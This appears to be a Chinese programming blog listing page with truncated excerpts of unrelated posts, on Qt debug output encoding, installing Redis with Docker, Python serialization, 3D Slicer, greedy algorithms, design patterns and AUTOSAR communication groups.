作者&#xff1a;计算机学长阿伟 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、ElementUI等&#xff0c;“文末源码”。 开发运行环境 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringBoot、Vue、Mybaits Plus、ELementUI工具&#xff1a;IDEA/…

Windows环境下Qt Creator调试模式下qDebug输出中文乱码问题

尝试修改系统的区域设置的方法&#xff1a; 可以修复问题。但会出现其它问题&#xff1a; 比如某些软件打不开&#xff0c;或者一些软件界面的中文显示乱码&#xff01; 暂时没有找到其它更好的办法。

10-Docker安装Redis

10-Docker安装Redis Docker安装Redis 以 Redis 6.0.8 为例&#xff1a; docker pull redis:6.0.8直接pull会出现以下错误 [rootdocker ~]# docker pull redis:6.0.8 Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request can…

[Python学习日记-50] Python 中的序列化模块 —— pickle 和 json

[Python学习日记-50] Python 中的序列化模块 —— pickle 和 json 简介 pickle 模块 json 模块 pickle VS json 简介 什么叫序列化&#xff1f; 序列化指的是将对象转换为可以在网络上传输或者存储到文件系统中的字节流的过程。序列化使得对象可以被保存、传输和恢复&#…

3D Slicer 教程二 ---- 数据集

上一章下载3d slicer的软件,这章从加载数据集来弄清楚3dslicer怎么使用. 一. 加载数据集 如果没有数据集,也可用用样本数据. (1) "File" --> "add Data" 可以添加图片文件夹,(试了MP4不行,内镜的视频估计不支持),添加单个图片的话,会出现一些选项, …

C++贪心

前言 C算法与数据结构 打开打包代码的方法兼述单元测试 简介 贪心算法&#xff08;Greedy Algorithm&#xff09;是一种在每一步选择中都采取在当前状态下最好或最优&#xff08;即最有利&#xff09;的选择&#xff0c;从而希望导致结果是全局最好或最优的算法策略。贪心算…

【设计模式系列】抽象工厂模式

一、什么是抽象工厂模式 抽象工厂模式&#xff08;Abstract Factory Pattern&#xff09;是一种创建型设计模式&#xff0c;它提供了一个接口&#xff0c;用于创建一系列相关或相互依赖的对象&#xff0c;而无需指定它们具体的类。这种模式允许客户端使用抽象的接口来创建一组…

AUTOSAR_EXP_ARAComAPI的5章笔记(17)

☞返回总目录 相关总结&#xff1a;AutoSar AP CM通信组总结 5.7 通信组 5.7.1 目标 通信组&#xff08;Communication Group&#xff0c;CG&#xff09;是由 AUTOSAR 定义的复合服务模板。它提供了一个通信框架&#xff0c;允许在 AUTOSAR 应用程序之间以对等方式和广播模…